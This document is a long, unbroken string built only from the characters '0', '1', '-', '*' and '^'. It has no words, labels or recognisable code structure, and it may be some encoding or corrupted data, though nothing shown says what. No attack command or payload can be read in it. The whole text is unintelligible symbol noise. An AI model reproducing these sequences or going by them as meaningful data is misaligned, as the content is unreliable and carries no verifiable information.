-**01*^1*1*1*10101*0^1^^101^-*-1*001*1**1*01*1*1010--010^10-*-11*-----^--0010101*0-**1*1^1*10101^-11*^1**110^1**00--10-*0-11*0-*01*1*-----^--10^11*0-**1*1^1*^1101**010-11*1*^101010^-11*10101*1*1*0-*01^1*0^1*-11*-----^--*-1*0-**1*1^1*001^10-11*00110-11010^^1101*******00^1101011*001*010^10^1010-11*01101*1*1*-----^--0-*1*-**1*1^1*1*0010-11*^1**110^1**00--11*1*-11*0-*01*1*-----^---1^1*-**1*1^1*^1101011*010-11*1*^1********00^101*001*0101*1*1*0-*01^1*10-*-11*1101*01^1*011****001**001^11*101*1**^10-11010^^1101******010^^-01**1*010^1*****01**0101*11*001*^1*1*1*-----^--101^11*-**1*1^1*010^10-11*^1**110^1**00--^-*-11*0-*01*1*-----^--0-1011*-**1*1^1*^1101******11011010^101**1*010^-011*-11*01101*1*1*0-*01^1*01^^-11*1011*01^1*0101****01**01011010-101^11****001**010^11*101*1**^10-11010^^1101******-^1^-**01*010^1*****001**001^1**1*^1*1*1*-----110--1*1**-**1*1^1*001^10-11*^1**110^1**00--110^^-11*0-*01*1*-----110--01*1*00-**1*1^1*0011*0-11*0-*01^1*11*^-11*10110-11010^1101101*011*1*^1*****01**00-011**^10101*1*1*-----110--110-*00-**1*1^1*00110^-11*^1*00^1^^101^-*-01*01*1*0011*01*1*1010--0101*011*0-11*-----110--*0101*0-**1*1^1*1*^1********-11011*00^10101*1*1*-1**110^1**00--101*^-11*0-*01*1*-----110---0011*0-**1*1^1*1*0^-11*0-*01^1*0-1*-----110--1^-*0-**1*1^1*001^10-11*1010--010^1*0^-11*-----110--**01*-**1*1^1*1*^-001*-11*00101*1*1*0011**110^1**00--110-*0-*01*1*-----110--1^^1*-**1*1^1*^1101******010-00101011**^1^^1********10110-*00^1^1*1*1*0-*01^1*1^1*-11*^1*01^1*011****001**001^11*101*1**0110--010^^11*-----110---01101*-**1*1^1*^1101010101010-11*1*^1********0110-1*00^1*1*1*1*0^1*00110^1**00--10^1*-11*0-*01*1*-----110--1*1011*-**1*1^1*01*^-11*0-*01^1*1*1*-11*1101*00101******0011*1101^-01010--0101*1*^-11*-----110--*10-*-**1*1^1*00-^-11*^1**110^1**00--1*01*-11*0-*01*1*-----110--^-11*-**1*1^1**^10-11*0-*01^1*0-*0-11**1*01^1**11010-01**1*01*1*1010--0101*00^10-11*-----10--1*01**-**1*1^1*1011*0-11*^1**110^1**00--11011*0-11*0-*01*1*-----10--11*01*00-**1*1^1*^1101******^1*0^11**01*010^-001*-11*0^1*1*1*0-*01^1**11*0101*00101******0011*1101^-01010--010^^11*-11*-----10--1**1*0-**1*1^1**11*-11*^1**110^1**00---101*0-*01*1*-----10--1*0101*0-**1*1^1*^1101*010110-11*1*^1*****01***110101*00^1*1*1*1*0-*01^1*01101******0101**01^1********01*1101*****001**0-1101*****0101*001^1101*****011**-0^1*****0101*00^-******-**-001******001*01^1011*****011**1*1011*****001**-10101*****0-**0^1******11***101******01**0101*1*****0011*00101*******^1*010-011******1**001^1*****0101**001^1*****01**0^11*******01*01011*1*****0011**01^1******001**101101*****01**0-*01******1*0011*011******01*0110^1*****001***^11*****00^1*0-1*1*****01***010101******1**0011*********0011011******001*0010101*******1*001010-******1*001010101******01**011*1*****011**1011011*****0011***-11*****01***^-*****0011*001*0-*****0011*001*1101*****0-**0-101*****0-***0-********1**1*****001**1010-*****00101*001*011*****00101*00-0-********010101******0101**00^11*****0011**^1******001**10101*******01*0-1^1******1**00-*******1*00101011*****0011**01*001********^10-*****0^1*0110^1*****00^1*0110101******1**010110-*****01**0011011******01**011011******-*00-1011*****00101**101011******01**01*******-*00--11*****0011*001^11******11***0101******11*0010^11*****00^1*0-11011********0010^1********0--1*****011**11011*****************11**10-1******01**001^1******1**********^1*01^1101******01*001011*********001*1********0^101*********01*1*****0011**01*001*****001**-0^1*****011**0^1******0-*00101*01*****01**0011*11*****011**10^-*****0101*00-0-*****00-**1^101********0^-1********^1101*****001**011*01*****00^1*0--01*****001**-01011******1**1010-*****001**10--*****0011*00-*11*****011**001*11*****0-*00^-******^1*0-1^1********0^1011******1*001^1101*****001**01010-*****0^1*0-011********0010^110101*1*001*1*1**01*1^1*-11*-11*-01*1^1*001****01*****0--001101*1^1*001*******-1*10--010101*1^1*001****01**001**0--*101*1^1*001****01**0-010^--01^1*1^1*001****01**0^110^--00^1*1^1*001*******010101010--01*1*1^1*001*******0-11010--001101*01^1*1**11010^1*1***001**01011*1******11*010101011***11***1^11011****10101*11****001**110^11*101*101****01**^110101^-001**0101******0011*01*0101*1*****1101*01^1*********1***-*101011***010101*01*******0--110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0---0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******10--10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******10--110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******00--10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******00--110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******110--0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******110--10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1***00--------001101*00-001011*0^1101*10^1********10110101*001*01*001*1*0010^1********10110101*001*01*001*1*01010^-*00--------101*1*0-001011*0^1101*****00-011*011***1*010^10-1^-11*001*001*1*--------0010-1*-*1011*--------00-01*0-001011*01101*0-11**********1*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------0010-*0-001011*0^11*1101*00101******00^10-*101*1**--------01*001*-001011*0^11*1101*010-*--------1^-1*-00^1*0-11*--------0^^1*-001011**011*********-*********001**0101*101*01^11*00^11010-10^-11*1*011011**001*00--------01010101*-001011*001101*0101*001101*--------1^1101*-001011*0^1101*****00-01^101***01*010^10-1^-11*001*001*1*01^1*11****001**101*11*01011********0010-********0-*01*********^1*******************-01*********1*001********0-*01********101*01********0110101********0--*********110101**********1*********011*0101*10^1*********0101^1*0-*01*001^1*001*******-1*10--001101*01^1*********1***-001*1*******01101********0-00-***01***1^1^1*********--------1*01*00-*01*001^1*^11*01010^11011******001**1010-0-*00---------10-*-001*^11*0110-11*011*001*1*--------010-*00-*01*001^1*-01**********1*0010-0010-01*011**1*0--------010^1*0-*01*001^1*1101*0-11*0011**01101*01**1**-**11*00101101010^1*01**-*00101**011010-01*011*00--------1*011*0-*01*001^1*^1*0-11*1101*00101*******0110^-1011*1*0011**11011******011**0011*101**--------*-1*0-*01*001^1*^1*0-11*1101*011**--------1^-1*-0011011*--------^1*1*-*01*001^1*01101**********1*********01**0101*101*01^11*00^110^^-0-11*1*011*1**-*0101*00--------11*101*-*01*001^1*1*^11*0110-11*011*001*1*0101*001101*--------1*1101*-*01*001^1*^1101*-110-11*1*^1********11*001*00^101*001*1*01^1*11****001**001*11*01011********--1********************1011**********101*********00101*********^1********01*101*********011*********01^1*******************0^1^1********011*1*********11*0101*1*1*001*1*********-^1*0-*11*001^1*001****01**001**0--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1******011*101********^-11***01***1^1^1******0--------*001*00-00101*001^1*00-*01010^-*00--------^10-*-00^1101********001^-*00^1*^^101*-11*011*001*1*--------010-*00-00101*001^1*^1101*^^-11*1*^1^11*011*001*1*********0-*0--00^11010^1*0110110^1011**1**********010101*00^1011*0-11*-11*0011*******1***00101*001*101**011010-01*011*00--------00^11*0-00101*001^1*01101*1101*00101****1**010110-*101*1**--------1^-*0-00101*001^1*^11010--00-11*1*^1********1**1*00^-*001*1*1101*0^11*--------0^-1*-00^1*0-11*--------0-*1*-00101*001^1*^1101**********-*00^1*^1^-10-11*011*001*1*********0^1*********1**0101*101*01^11*00^11010-^10-11*1*011011**001*00--------1*1101*-00101*001^1*1*^1*01010-11*011*001*1*0101*001101*----------01*-00101*001^1*-01*01^1*11****001**11*011*01011********0101101********00101101*******************11*101********00-*********^1011********011*101********011*1********010^101********0-*********0^1011********01101*0101*10101*001*1*********1*001*0-00-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0011**********10-11***01***1^1^1*--------010101*00-001011*0^11*01010^1*******00^101*010-0-*00--------*-*00-001011*0^11*--------0010-1*-*-1*--------101*1*0-001011*010-*********-*00^-0010-01*011**1101*1**-*00101101010^1*01**-*00101**011010-01*011*00--------0-101*0-001011*01*^11*-0-11*101*001*1*1101*00101******0011010110-1011011011******01011**11*^1*0011011******011**0011*-**11011******00-**11*101**--------1**1*-001011*001101*1101**101*--------1^-1*-001101*0-11*--------1*^1*-001011*0^1101*****00^1*1^1011**1*010^1^1*0-11*001*001*1*********1*1*********1**0101*101*01^11*00^110101010-0-11*1*011*1**-*0101*00--------00101101*-001011*0^11*0101*001101*--------10-101*-001011*001011*01^1*11****001**01*011*01011********^^1*********************1********00^^1********1101*1********^1^1********0^^1********1011*********001101*********^^1*******************0011011*********11*0101*10^1*********011*01*0-00101*001^1*001****01**0-010^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1***001***11*1*********0-1***01***1^1^1*********--------*001*00-*01*001^1*10-*01010^-*00--------010101*00-*01*001^1*10-*--------1^-1*-*1101*--------*-*00-*01*001^1*^1101******01**11*11*00^1^^1********0^^1*00^-*001*1*********10101*^-0010-01*011**1101*01*00101101010^1*001**11******00101***-**1*101**011010-01*011*00--------11*11*0-*01*001^1*0101*0-11*1101*00101*******0^101*10^11011******011**0011*101**--------*-1*0-*01*001^1*0101*0-11*1101*00-*0-11*--------^10-*-00^1101******00^1010-01**1*010^-0-00-11*011*001*1*--------0010^1*-*01*001^1*1*^-1*10-11*101*001*1*********0011*********01**0101*101*01^11*00^1101010-110-11*1*011011**001*00--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*00-*01^1*11****001**1*0011*01011*********^1********001^11********0101*1********************11*********0-******************************001*0101********-0^1********1*101********0-1^1********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**0^110^--0011*001^1*001*******010101010--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**01101*1*****01**01*****11***01^1^1******0--------^1**0-*01*001^1*^1101******01*1011*-*00^1^^1**********01*00^^1*01*1*01010^-*00--------*001*00-*01*001^1*^1101******110-1101*01*001*010^-01*0-11**1*01*1*--------^10-*-00^110101*^10-1*-11*-*001*1*1*^10-1*-11*-*001*1*--------01*01*0-*01*001^1*^1101******1**11010-*001*010^10^-0-11*011*001*1*********0^1*^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------00^11*0-*01*001^1*^1101********00-*1*00^1*^11*0010-11*101*001*1*1101*00101******0011*101*101*1**--------10-11*0-*01*001^1*^1*0-11*1101**01*01********1^^10101*0--101**0^1*--------0^-1*-*101*0-11*---------0^1*-*01*001^1*^11**********1*********01**0101*101*01^11*00^110^1^110-11*1*011*1*0011**--------*01101*-*01*001^1*1101*0-11*0101*001101*--------110-01*-*01*001^1*10-*01^1*11****001****11*01011********^11*********001^1********010^11*******************0-*********0-0^1******************001*001********0^-********0011010101******************00^10101********0011*0101*1*1*001*1*********101*1*0-00^1*01^1*001****01**0^110^--*01*01^1*001*******-1*10--0-*001^1*001****01**001**0--0011*001^1*001*******010101010--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**00101*1*****01**001^1****1***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*********10101*11*00--------0^-1*-00-00^-11*-----10110-1*10-*-*-*01^1*-01^-11*********^1*0--00^101^-*-**-*00-----10110-1010-11*-*-*01^1**11*1101**011010-01*-*00------10-1011**00-*-*01^1*00-*1101**0110^11****001***^--01^101****01**01101010-10110^11010-01*^101^-*-1*001*1*011****001**010^--01^11**0011010-01*-*00------10-1^101*00-*-*01^1*^11*-11*011****001**101^--011*01*00101****01**01101010-10110^11010-01*^101^-*-1*001*1*011****001**010^--01^11*00-*001^1*0101****01***11010-101^11****001**010^--01^11*00------10-10110101*0-*-*01^1*01101*-11*110101******011**00101******11**01*011*001******11**^^11*00^^1*001101**1**01101*011*-*0011**1011*0^1101*01101*011*-*00^101^-*-**********-**00-001*^1*11010-01*-*0011**--------0^-1*-0010110^-11*------10-10-*1*-*-*01^1*^1101*******-11*1011*001*010^1*11010-11*1*1*1*1*********0^1*10-^^101^-*-***110101*^1*11010-01*-*0011***1101*011*-**011*01*******001*0^1011*11*^1*11010-01*-*0011**------10-^-101*-*-*01^1*110-00-11*0101****01**-01010-101^101*01*1*011****001**^^--01101*^1*11010-01*-*0011**0101*01*1*011****001**-*--011*-*0101*01*1*0101*01^1*011****001**0-00-^-0011****001**010^--01^11*00------10-110110-*-*-*01^1*^110^^1010-11*1*^--110-11*0^1*1*1*1101**0110^11****001***^--01^101****01**01101010-10110^11010-01*^101^-*1011*001*1*011****001**010^--01^11**0011010-01*-*00-----1*--1101**-*-*01^1*10101^-11*011****001**101^--011*01*00101****01**01101010-10110^11010-01*^101^-*1011*001*1*011****001**010^--01^11**11*001^1*0101****01***11010-101^11****001**010^--01^11*00-----1*-1^1*1*0-*-*01^1*1*^1********-00-*001**1*1*1*110101******011**00101******01**01*011*001******01**^^11*00^^1*001101**1**01101*011*-*0011**1011*0^1101*01101*011*-*00^101^-*-**********-**00-001*^1*11010-01*-*0011**--------11*-*-00^110101*^1*********-01*001*^1*1*1*1*^1*****01***-1**01*^1*1*1*-----1*--*^1*-*-*01^1*01011**********1*010-^^101^-*-***110101*^1*11010-01*-*0011***1101*011*-**011*01*******001*0^1011*11*^1*11010-01*-*0011**-----1*--0101101*-*-*01^1*0^1^-11*0101****01**-01010-10110^1*01*1*011****001**^^--01101*^1*11010-01*-*0011**^1*01*1*011****001**-*--01^1011*^1*01*1*^1*01^1*011****001**0-00-^-0011****001**010^--01^11*00-----1*-1101^-*-*-*01^1*^1101******101*01*0011*00^1^^1********-00101*00^-1*01*1*1101**0110^11****001***^--01^101****01**01101010-10110^11010-01*^101^-*1101*001*1*011****001**010^--01^11**0011010-01*-*00-----1^-1101101**-*-*01^1*^1101******-^10110101**1*010^10^-0-11*1*1*1*1*011****001**101^--011*01*00101****01**01101010-10110^11010-01*^101^-*1101*001*1*011****001**010^--01^11*00101*001^1*0101****01***11010-101^11****001**010^--01^11*00-----1^-1^1^1*0-*-*01^1**01*-11*110101******011**00101******01**-00101*001******01**00110101*00^^1*001101**1**01101*011*-*0011**1011*0^1101*01101*011*-*00^101^-*-**********-**00-001*^1*11010-01*-*0011**--------0^-1*-00^10^-11*-----1^-1^1*01*-*-*01^1*10-^-11*********^1*010-^^101^-*-***110101*^1*11010-01*-*0011***1101*011*-**011*01*******001*0^1011*11*^1*11010-01*-*0011**-----1^--0010101*-*-*01^1*10^^-11*0101****01**-01010-1011*01*01*1*011****001**^^--01101*^1*11010-01*-*0011***1*01*1*011****001**-*--011*011**1*01*1**1*01^1*011****001**0-00-^-0011****001**010^--01^11*00-----1^-1101011011*-*-*01^1*00-*1101**0110101*^1*11010-01*-*0011***11010-01*-**101****01**-01010-101^11****001**0-1101*101*001*001**011****001**010^--01^11*00-----1^-110--1*-*-*01^1*^1101********001*011*00^1*^1********10-011*001**1*1*1*110101******011**00101******11**^1^1*001******11**0^^1*00^^1*001101**1**01101*011*-*0011**1011*0^1101*01101*011*-*00^101^-*-**********-**00-00^101^-*1*1*0-----1010--00-*00-*-*01^1*1*^-*010-11**01*1*1*-----1010--01*1*0-*-*01^1*1*0^-11*--------0^-1*-*0-*-11*-----1010--010101*0-*-*01^1*^1101*****001^10110^^1*001*010^110101010-11*10101*1*1*********0^1*^-001**00--1*01*-11*0011*01*1*-----1010-110^-*0-*-*01^1*^1*0-11*0011*01^1*-01*--------^10-*-00^1101********00-0101*00^1*^101^110-11*0^1*1*1*-----1010-110-*1*-*-*01^1*^1101******00101^10-11*001*010^110101*-11*1*1*1*1*********0^1*^-001**00--101101*0011*01*1*-----1010-1101010101*-*-*01^1**11*-11*0011*01^1**01*-11*--------1^-1*-00^11*-----1010--0-101*-*-*01^1***10-11*********^1*010-^^1101*01101*011*-*00^101^-*-**^101^-*1*1*0--------01^-*-00^1101******0010^11010-*00^1^^1********--01*00^-1*01*1*-----1010-11*10-*-*-*01^1*^1101*******1101^1^1*001*010^1010-10-11*10101*1*1*********0^1*^-001**00---11*0-11*0011*01*1*------0--01**00-*-*01^1*1*1*-11*0011*01^1*0-1*--------1^-1*-*0-*------0--1101**-*-*01^1*101*10-11*********^1***01*001^-11*1101*01*1*--------0^-1*-001*1*-11*------0-11*011*00-*-*01^1*^1101*****00-1010101*-*001*010^1*****01***0-**0^10101*1*1*********10101*^-001**00--110-*0011*01*1*------0---001*0-*-*01^1*0101*0-11*0011*01^1*^11*1101*001101*--------10110-*-00^110^10^10-11*1*^101101*00101*1*1*------0--001011*0-*-*01^1*-11*-11*********^1*0^-001**00--1*11*0011*01*1*------0-1^-11*0-*-*01^1*^1101******011*-01*1*001*010^1*****001**001011**0^10101*1*1*0011*01^1*0101*0-11*011****001**-*--011*001^-11*011*00--------^10-*-00^1101*****00--*-0101*001*010^^101010-11*1*1*1*1*------0--0110101*-*-*01^1*01101**********1*0^-001**00--1^1*0-11*0011*01*1*------0-11**11*-*-*01^1*1101*0-11*0011*01^1*11011*1011*001101*--------01^-*-00^1101********0010-01*00^1*^1********011*11*001*0101*1*1*------0--*0-*-*-*01^1*1*^1********11010-*001*^1*1*1*********-1*0^-001**00--101011*0011*01*1*------0-11010-11*-*-*01^1*^1101*******0010-11011*001*010^10^1010-11*1*1*1*1*0011*01^1*^1*0-11*--------0^-1*-*1*^-11*-----^---01**-*-*01^1*1*1^-11*********^1*0010-*11****001***^--01^11*00--------0^-1*-001^1*-11*-----^--0^11*00-*-*01^1*00101*-11*********^1*0^-001**00--10-1*0011*01*1*-----^--101*1*0-*-*01^1*--00-11*0011*01^1*01011*-----^--1*101*0-*-*01^1**11*--------^10-*-00^1101*****0010--1*01**01*010^101011010-11*10101*1*1*-----^--^1011*0-*-*01^1**-00-11*********^1*0^-001**00--1^11*0011*01*1*-----^--00-11*0-*-*01^1*^1101*****00-001*0011**00^1^^1********0010-1*00^-1*01*1*0011*01^1*0-*0-11*-----^--1010^1*-*-*01^1*01^^-11*0101****01**-01010-1011*1*001*1*011****001**^^--01101*^1*11010-01*-*0011**001*001*1*011****001**-*--011*001^-11*001*001*1*001*001^1*011****001**0-00-^-0011****001**010^--01^11*00--------00110-*-00^11010110^10-11*1*^^110^-11*00101*1*1*-----^--00101011*-*-*01^1*01*^-11*********^1*0^-001**00--11011*0-11*0011*01*1*-----^--*10-*-*-*01^1*0-*0-11*0011*01^1*1101*0-11*011****001**^^--0110^1101*01101*011*-*00^101^-*-**011*00--------0^-1*-*-*0-11*-----110--^1**0-*-*01^1*00^^-11*********^1*0^-001**00--10101*0-11*0011*01*1*-----110--10-**-*-*01^1*0-1^-11*0011*01^1*00-*1101*01^1*1*^-1*0011**--------0^-1*-*-1^-11*-----110--101011*00-*-*01^1*10101*-11*********^1*0^-001**00---011*0011*01*1*-----110--*^1*0-*-*01^1*^1101******00-0010101011*00^1^^1*********-01*00^-1*01*1*0011*01^1*0011*0-11*0011*01*******001*0^1011*1011****001***^--01^11*00--------0^-1*-*011*0-11*-----110--0010-*0-*-*01^1*^-00-11*********^1*0^-001**00---01*0-11*0011*01*1*-----110--*1*1*-*-*01^1*^11010-01010-11*1*^101101*-11*1^1*1*1*0011*01^1*1011*0-11*-----110--1101^1*-*-*01^1*^1101*****00^1010-*-*00^1^^1********0-*1*00^-1*01*1*--------0^-1*-0011*^-11*-----110---01101*-*-*01^1*01011*-11*********^1*0^-001**00--^11*0-11*0011*01*1*-----110--110^11*-*-*01^1*^110^10-00-11*1*^1********10101011*00^1^1*1*1*0011*01^1*-1*0-11*0011*01*******001*0^1011*11*^1*11010-01*-*0011**--------^10-*-00^110^10-10-11*1*^1********0110^1*001*^1*1*1*-----110--00--*-*-*01^1*1011*0-11*********^1*0^-001**00--10-*0-11*0011*01*1*-----10--1*01**-*-*01^1*^1101*******1*11*011*001*010^101*110-11*1*1*1*1*0011*01^1*10-*--------10-101*-00^1101********01*0-*00^1*^1*****01***-11**1**1*1*1*--------*01011*-00^1101******101*001011**001*010^-011*1*1*1*1*---------11011*-*-1*-11*--------01^-*-*0-*--------00110-*-001*^1*****01**01010^1*001**1*1*1*-----10--11*011*0-*-*01^1*001*10-11*********0^11********0011*1*********0-*********01101*********^1*********0101*00101*10^1101*011*1101*01*1*--------0^-1*-001^1^-11*-----10--10-*1*-*-*01^1*-01**********1*0^-001**00--^-*0011*01*1*-----10--1*00101*-*-*01^1*11*010-11*0011*01^1**11*0101*0011****001**0-00-^-0--------0^-1*-0011*010-11*-----10--1^-01*-*-*01^1*^1101******-1*0101***^1^^101010^-11*-1*01*1*********0^1*^-001**00---101*0011*01*1*-----10--110101011*-*-*01^1*00-*-11*0011*01^1*01101******011***01011********00-101********1*001*****00101*00110^11*****0101*00-*******001**10101******01**00-001*****01***1*11*****0101**0^11******01*001^^1*****0-*0010^1******11***-01*****01***10-******1***1*1******01************0011*******11**10^11*****001**1*1011********1*1011*****0011**01101******01**1*1011*****01**001101******001***0^1******1*0011*11*****00-**0^11******1**10^11********011*******011**10^11*****00101**-011*****00-**101101*****0011**1^1******001**001^1*****00101**00-******1**0-11011*****01**0^1101******1**01011*******1**0010101*****01**0011*1*****0011**001*01*****0101*00110-11********-101******001**0-001****************1**01*11******-**00-01******1*00-011******001**011******00-*001101*1*****01**01^1101*****001**01101101*****001**-00-******1**-0011*****011**00-011*****0101*001010^1******1*0011*-*****01**0^-11********1010-1*****01**0^1^1*****011**1*01******11**0^^1******1*00-1011******11**010-1*****0011***-*****00-*0011011011*****0011*0010-001*****0011**1^11******01***1101*****0-*00-00-********0101101*****0011**001*1********0011*10101*^-*01*1*0-*01^1*11011*-11*10101*1^1*001*******010101010--*101*1^1*001****01**0-010^--01^1*1^1*001****01*****0--00^1*1^1*001****01**001**0--01*1*1^1*001*******-1*10--*001*1^1*001*******0-11010--0-1*01^1*001****01**0^110^--001101*01^1*********1***-001*1***001**0^1*1*****0^1*010-01****1**001^1^1*--------011**00-00101*001^1*0101*0-11*01010^11011******001**0010-0-*00--------00110-*-0011011010^1*0-11*1*^11*-0-11*011*001*1*--------11*1*00-00101*001^1*^1101*****00-00110-11011*001*010^1********0-^1*00^-*001*1*********10101*--00^11010^1*01101101*011**1******0011**11*-*00^1011*******1**01*-*001*011******00-**11*11*001*101**011010-01*011*00---------0101*0-00101*001^1*^1101*****00110-00^1^1*001*010^101010110-11*-*001*1*1101*00101****1**00101**0101*01*0011011******00-**11*-**11011******011**0011*101**--------00-11*0-00101*001^1*01101*1101**101*--------0^-1*-00^1*0-11*--------1011*1*-00101*001^1*^1101*********00^1*00^1*^1*****01**01101***1*11*001*1*********10101*********1**0101*101*01^11*00^1101011*110-11*1*0110101**01**-*0--------00101101*-00101*001^1*0101*0-11*0101*001101*----------01*-00101*001^1*-01*01^1*11****001**10-101*01011********^11*********1*101********00-1101******************00-01101********-*1*******************-01101********0-*********00-*********00110-********01101*0101*10101*001*1*********1*001*0-00-*001^1*001*******-1*10--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0--01*****01***101****01***1^1^1***00-----10---110-*-001011*00-1*01010^1*******0011**0010-0-*00-----10--110--*-001011*0^1101*0-00-11*1*^--*-11*^1*01*1*--------0^1011*-00^110^-^--01010101*-11*^1101*1**010^-00-0-11*001*******-1*10--01^-0-11*001*******-1*10--******0110110101101**01*010^1*****01**00101*1*00^101*001*1*--------1^11*00-001011*01*^1*****01**00-011**1*001*01*1*********0-*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1*101*0-001011*01101101010-*1*^1********^^11*00^-*001*1*1101*00101******00110^1*010^11011******011**0011*-**01**--------0-011*0-001011*0^1101*****00^-0010-01**1*010^-101*-11*011*001*1*1101**101*--------1^-1*-*101*0-11*--------*1*1*-001011*0^1101*****0011010^1**1*001*010^1*****01**011***00^101*001*1*********00101*********1**0101*101*01^11*00^1101011010^-11*1*011*1*00101*00--------10110101*-001011*00-1*0101*001101*--------01101101*-001011*01*^1*****01**0-***01*01*001*1*01^1*11****001**00-101*01011********^-1*********-01********010-11********010-********************0101*********101^11********00101*********^^1********0--01********110^1*********101011********0011*0101*10^1*********0010^1*0-00^1*01^1*001****01*****0--*01*01^1*001****01**001**0--0-*001^1*001****01**0-010^--0011*001^1*001*******-1*10--0101*001^1*001*******010101010--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001***01*1*****01**0-*1***-***1^1^1*********--------1^1**-001011*0^1101******01*-001***^1^^1^11*-11*-*001*1*01010^-*00--------01^1*00-001011*0^1101*^110-11*1*^^110110-11*101*001*1*--------1^-1*-00^1*0-11*--------110-*00-001011*001011*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------0^101*0-001011*0^1101010101^-11*1*^1********1**1*001*01*001*1*1101*00101****1***010--1011011011******011**0011*101**---------1011*0-001011*0^1101*******-0-^1**1*010^1*****001**01^1**01*11*001*1*1101**101*--------0010-1*-*-1*--------1101*1*-001011*01*^1*01010-11*101*001*1*********1101*********01**0101*101*01^11*00^11010^10^-11*1*011011**001*00---------00101*-001011*0^110101*^1********1**1*001*01*001*1*1*^--*-11*001*001*1*0101*001101*--------10-101*-001011**011*01^1*11****001**110-01*01011********0110^1*********-1*********^101********1101101*******************101*1********001^101********0110^1********0110^1********1011*********011*1********00101*1*********11*0101*10^1*********011*01*0-00-*001^1*001****01**0^110^--0011*001^1*001*******010101010--0101*001^1*001****01**0-010^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0-*01*****01**010101****01***1^1^1*-----10--101*-*-00101*001^1*^11*01010^-*00--------01^-*-00^1101******1*^1101***1*010^1*****001**110^1**^-*001*1*-----10-----*-00101*001^1*^1101*****001101^11*001**1*010^1*****01**00^1**00^-*001*1*********10101*--00^11010^1*0110110^1011**1******001***010-*00^1011*********0-1^1*001*011******00-***0101*001*101**011010-01*011*00--------1^11*00-00101*001^1*01011010^1*0-11*1*^1*****01**0-0^1*001*11*001*1*1101*00101********0^-1011011011******011**0011*-**11011******00-**11*101**---------0101*0-00101*001^1*^1*0-11*1101*00101******00110101*0010^11011******011**0011*-**11011******00-**11*101**--------0^-*0-00101*001^1*^1*0-11*1101*0-01*--------11*-*-*1101*--------^10-*-00^110^1101010-11*1*^1********^10-*001*11*001*1*--------1^^1*-00101*001^1*0101*0-11*********^11*********^1*********001**101*101*01^11*00^110101^-0-11*1*0110101**01*00--------1*1101*-00101*001^1*^11*0101*001101*--------110-01*-00101*001^1*01011*01^1*11****001**010-01*01011*********11*********001^1********00110^1*******************101^1********-0101********010-011********0-**********011*********-11011********0^-********00^-*********11*0101*10101*001*1*********101*1*0-00-*001^1*001*******010101010--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1*******101011*****01***0-****1***1^1^1*1*******0010101**1****^10-*11***001*1011************1*1*****010101*11************010-0110101**101*01^1*********001*010-0110101*0011****01**01010101*0101*********0^-*001********00--11*00^11**00101*01**--------011*1*0-001011*0^1101*010110-11*1*^1********--01*00^101*001*1*********1*1**-00--------101*11*-00^1101010-00--0101*0010-11**110101^^1*****01**01101***1*01****01**0^110^--01^^1*****01***^11**1*01****01**0^110^--*****001***^11**1*01****01**0^110^--011011*-11*1*^1*********^11*00^101*001*1*--------1*^1*-001011*001101*********-*00^-001**00---101*-*00--------1*0101*-001011*00-1*1101*0-01*--------0010-1*-*-1*--------*01101*-001011**-*********-*00^-001**00--101101*-*00--------**11*-001011*0^1101******-0101011011**01*010^1*****01**01*-1*001*01*001*1*1101*001101*********101011********00101011*********01101*******************0--1********0--1********001101********************10-1********0^1*0101*10^1*01011*011011*101*001^1*001****01**0-010^--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001**0011*01********1^-1***001**001^11011*1*******0010101*11011****010-1*011****1*11************1*1**********0010101*11************010-0110101*0011****011**0011*1*101*^11*1*110101^-101*1*001*******************00-*01*0^10-*01^1********0011011*10-0110101*0110101******1011**0101*********110-1*001*********-*1*001*11****01**01010101*0101*0011010-11*11*010-11*11**00101*01**011*******10101**101******1**01011*1*001******1**0--01*00^--------1^101*0-001011**-*********-**00-00--------10110-*-00^110101101*0-11*1*^-01*0-11*001*001*1*--------0011011*0-001011*0-01*********-*00^-*0-00--01********011*011*001**01101*^1********10110101*001*01****01*****0--01*^1*11010-11*001****01*****0--*011010-11*001****01*****0--01**00---101*-*00--------0-^1*-001011*001011*1101*0-01*--------0-0-*-00^110^-1010-11*1*^110-*101*001*1*--------1^1101*-001011*0^1101********0110-01*00^1*^1*00^-11*001*001*1*********1*1*^-001**00--101101*-*00--------101^11*-001011*00-1*1101*001101*********00-11********0-101********00^1*********0-101*********00-********00^1********************-0-*********0-********00^1*0101*10^1*01011**011*101*001^1*001****01**0-010^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0101*01*****01**01*1***00-***1^11011*-----10---00-1*-00101*001^1*00-*01010^-*00--------^10-*-00^1101*****00^1010-101101*00^1^^-0^10-11*-*001*1*--------1011**0-00101*001^1*11011**********1*0010-0010-01*011*^1*0--------10-**-00101*001^1*^110101*^101101*-11*0101*01*1*1*^1*********00101*001*101*01*1*1011**011010^1**1*001011*00101101010^1*01**101**011010-01*011*00--------0-11*00-00101*001^1*^1101********001^101*00^1*^-011*-11*^1*01*1*1101*00101******00--1*010^11011******011**0011*101**--------00-01*0-00101*001^1*^1101******00^10^10-*001*010^-001*-11**1*01*